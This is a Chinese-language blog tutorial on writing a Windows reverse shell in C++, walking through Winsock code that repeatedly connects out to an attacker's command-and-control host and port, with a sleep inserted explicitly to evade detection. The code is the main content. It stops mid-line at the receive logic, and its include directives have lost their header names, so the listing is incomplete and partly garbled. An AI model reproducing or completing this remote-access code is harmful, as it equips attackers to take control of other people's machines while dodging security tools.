渗透不会反弹shell?来教你写一个cmd的shell
包含的库:
#include
#include
#include
#include
#include
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
winsock2和ws2tcpip两个库文件是用来初始化网络套接字的。windows用来初始化一些windows下的函数,string方便我们后面的一些字符串转换,iostream则是标准的c++头文件,#pragma comment(lib,“Ws2_32.lib”)用来指定编译器使用静态编译该库文件,防止其他环境下无法正常运行我们的文件。1024为给socket的recv和send函数定义缓冲区长度。
我们定义一个函数和一个主函数,反向shell的函数RunShell,两个参数,一个是我们的host一个是ip
int RunShell(char *host, int port){
}
int main(int argc, char** argv) {
}
其中的argc为调用的参数的个数,argv为具体的值。这里稍微要注意一下,在接受参数的时候,默认的第一个参数是文件的路径名,所以,我们在接下来的传参的过程中,需要将argv[1]、argv[2]传递给我们的RunShell。
下面我们来编写我们的RunShell函数,为了避免中间有断开之类的情况,我们使用一个while循环进行一直监听,然后监听之前进行一些休眠,可以绕过部分检测,代码如下:
while (true)
{
Sleep(5000);//进行休眠,可过一些检测
SOCKET ShellSock;
sockaddr_in C2addr;//定义sock初始化需要的变量
WSADATA Sockver = { 0 };//定义并初始化一个LPWSADATA的指针
WSAStartup(MAKEWORD(2, 2), &Sockver);//初始化socket
ShellSock = socket(
AF_INET, //地址描述
SOCK_STREAM, //套接字类型
IPPROTO_TCP //协议类型
);
C2addr.sin_family = AF_INET;
C2addr.sin_addr.S_un.S_addr = inet_addr(host);//转化Ip地址
C2addr.sin_port = htons(port);//转换端口
if (WSAConnect(ShellSock, (SOCKADDR*)&C2addr, sizeof(C2addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
closesocket(ShellSock);
WSACleanup();//关闭套接字
continue;
} //连接目标
}
基本上都已经给出来了注释,都是windows的api,具体的作用就是用来声明一个socket套接字,然后跟目标进行连接,如果失败,则跳出本次循环,继续发出请求。
具体的用法,可以查看微软官方的文档:
https://docs.microsoft.com/zh-cn/windows/win32/api/winsock2/nf-winsock2-wsaconnect
我们继续,接下来我们来编写我们的接收函数,并进行处理。
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));//将RecvData清0
int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);//接收数据
if (RecvCode
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?
立即登录/注册


微信扫码登录